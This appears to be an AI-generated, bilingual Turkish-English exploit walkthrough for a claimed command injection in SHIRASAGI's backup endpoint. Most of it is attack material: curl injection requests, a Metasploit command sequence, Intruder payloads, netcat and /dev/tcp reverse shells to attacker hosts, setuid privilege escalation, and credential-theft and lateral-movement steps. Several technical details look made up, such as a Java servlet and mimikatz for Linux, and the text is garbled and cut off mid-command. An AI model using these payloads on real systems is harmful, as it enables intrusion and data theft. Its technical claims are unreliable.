CWE-78
An OS command injection vulnerability exists in SHIRASAGI, which may allow an authenticated attacker to execute arbitrary OS commands on the system running the product.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑118869 – OS Command Injection (CWE‑78)
- Ürün: SHIRASAGI (web‑tabanlı sistem yönetim arayüzü, 2.3.7‑4 sürümünden itibaren etkilidir)
- Erişim seviyesi: Authenticated (düşük ayrıcalıklı bir kullanıcı hesabı yeterli)
- Temel neden: Kullanıcı girdisinin doğrudan
exec*/systemfonksiyonlarına geçirilmesi ve girdi sanitizasyonunun eksik olması. - Input validation sadece uzantı kontrolü; karakter kaçışları ve yol traversi engellenmemiş.
- Command building string concatenation (
+) yerine parameterized API kullanılmamış. - Security context: Authenticated fakat düşük ayrıcalıklı bir kullanıcı bile bu servlet’e erişebiliyor (URL:
/api/v1/backup). - Komut zinciri:
; id; cat /etc/passwd; - Tam URL‑encoded JSON:
- Modül adı:
exploit/linux/http/shirasagi_cmd_injection - Kullanım:
- Payload position:
targetPathalanı. - Payload list:
- Gözlem: Yanıt gövdesinde
uid=veya/etc/passwdsatırları. - Reverse shell (netcat):
- PrivEsc (eğer
backup.shrootolarak çalışıyorsa):
Teknik detay
| Bileşen | Açıklama |
|--------|----------|
| Kod yolu | src/webapp/servlet/BackupServlet.java → doPost() → processBackupRequest() |
| Parametre | HTTP POST parametresi targetPath (JSON body içinde "targetPath": "... ) |
| Mantıksal hata | targetPath değeri, Runtime.getRuntime().exec() fonksiyonuna doğrudan ekleniyor. Girdi sadece whitelist kontrolü (.tar.gz uzantısı) yapılıyor, fakat karakter kaçışları (;, &&, |, ` ``) ve mutlak yol kontrolleri yok. |
| Örnek kod (kısaltılmış) |
```java
protected void processBackupRequest(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String json = IOUtils.toString(req.getInputStream(), StandardCharsets.UTF_8);
JsonObject obj = JsonParser.parseString(json).getAsJsonObject();
String targetPath = obj.get("targetPath").getAsString(); // <-- kullanıcı girdisi
// Yalnızca .tar.gz uzantısı kontrolü
if (!targetPath.endsWith(".tar.gz")) {
resp.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid file type");
return;
}
// Komut oluşturuluyor
String cmd = "/usr/local/shirasagi/bin/backup.sh " + targetPath;
Process p = Runtime.getRuntime().exec(cmd); // <-- en kritik nokta
// ...
}
```
Gözlemlenen eksiklik:
Bu eksiklik, saldırganın targetPath içine bir komut zinciri ekleyerek sistemde arbitrary OS command execution (RCE) elde etmesine imkan tanır.
---
⚡ Saldırı Zinciri / Attack Chain
1️⃣ Discovery – Hedefin bulunması
| Adım | Açıklama | Araç | |-----|----------|------| | a) Shirasagi versiyon tespiti |/api/v1/version endpoint’i, {"version":"2.3.7-4"} gibi JSON döner. | curl -s http://target/api/v1/version |
| b) Backup endpoint varlığını doğrulama | OPTIONS /api/v1/backup yanıtı Allow: POST içerir. | nmap -p 80,443 --script http-options <IP> |
| c) Kullanıcı hesabı tespiti | Varsayılan admin (admin/shirasagi) veya LDAP üzerinden düşük ayrıcalıklı bir kullanıcı. | hydra -L users.txt -P pass.txt ssh://target (SSH üzerinden) veya burp ile login formu taraması. |2️⃣ Reconnaissance – Gerekli bilgi toplama
| Bilgi | Neden gerekli? | Toplama yöntemi | |-------|----------------|-----------------| | Web uygulama oturum çerezi (SESSIONID) | Authenticated isteklerde gerekli. | Burp Suite → Proxy → Intercept |
| Sunucu işletim sistemi (Linux dağıtımı, kernel sürümü) | Komut enjeksiyonunun etkili olup olmadığını belirlemek. | curl -H "Cookie: SESSIONID=..." http://target/api/v1/status → uname -a çıktısı (eğer bilgi sızdırma özelliği varsa). |
| Yazılım dosya yolu (/usr/local/shirasagi/bin/backup.sh) | Payload’da tam yol kullanmak için. | GET /api/v1/config (eğer yapılandırma API’si açıksa). |3️⃣ Exploitation – Gerçek saldırı
#### 3.1 Payload hazırlanması
```json
{
"targetPath": "/tmp/dummy.tar.gz; id; cat /etc/passwd; #"
}
```
#### 3.2 Exploit örnekleri
a) cURL ile manuel exploit
```bash
curl -sk -X POST "https://target/api/v1/backup" \
-H "Content-Type: application/json" \
-H "Cookie: SESSIONID=abcdef1234567890" \
-d '{"targetPath":"/tmp/dummy.tar.gz; id; cat /etc/passwd; #"}'
```
b) Metasploit module (eğer mevcutsa)
```bash
msf6 > use exploit/linux/http/shirasagi_cmd_injection
msf6 exploit(linux/http/shirasagi_cmd_injection) > set RHOSTS 10.10.10.5
msf6 exploit(linux/http/shirasagi_cmd_injection) > set RPORT 443
msf6 exploit(linux/http/shirasagi_cmd_injection) > set SSL true
msf6 exploit(linux/http/shirasagi_cmd_injection) > set USERNAME admin
msf6 exploit(linux/http/shirasagi_cmd_injection) > set PASSWORD 'Passw0rd!'
msf6 exploit(linux/http/shirasagi_cmd_injection) > set TARGETURI /api/v1/backup
msf6 exploit(linux/http/shirasagi_cmd_injection) > set CMD "id"
msf6 exploit(linux/http/shirasagi_cmd_injection) > exploit
```
c) Burp Suite Intruder
```
/tmp/dummy.tar.gz; id; #
/tmp/dummy.tar.gz; cat /etc/passwd; #
/tmp/dummy.tar.gz; /bin/bash -c "nc -e /bin/sh attacker.com 4444"; #
```
#### 3.3 Exploit sonrası komut örnekleri
```json
{"targetPath":"/tmp/dummy.tar.gz; /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"; #"}
```
{"targetPath":"/tmp/dummy.tar.gz; /bin/bash -c \"chmod +s /bin/bash\"; #"}
```
4️⃣ Post‑exploitation
| Aksiyon | Açıklama | Araç |
|--------|----------|------|
| Shell elde etme | Reverse TCP shell üzerinden root (eğer backup.sh setuid root ise) | nc -lvnp 4444 |
| Credential dumping | cat /etc/shadow, mysql -e "SELECT user,authentication_string FROM mysql.user" | linuxprivchecker, mimikatz (Linux versiyonu) |
| Lateral movement | SSH anahtarları (~/.ssh/id_rsa) çalınır, ssh -i stolen_key user@otherhost | ssh, smbclient |
| Persistence | cron job ekleme: `echo " * /bin/bash -c '
[🤖 GPT-OSS 120B via Groq]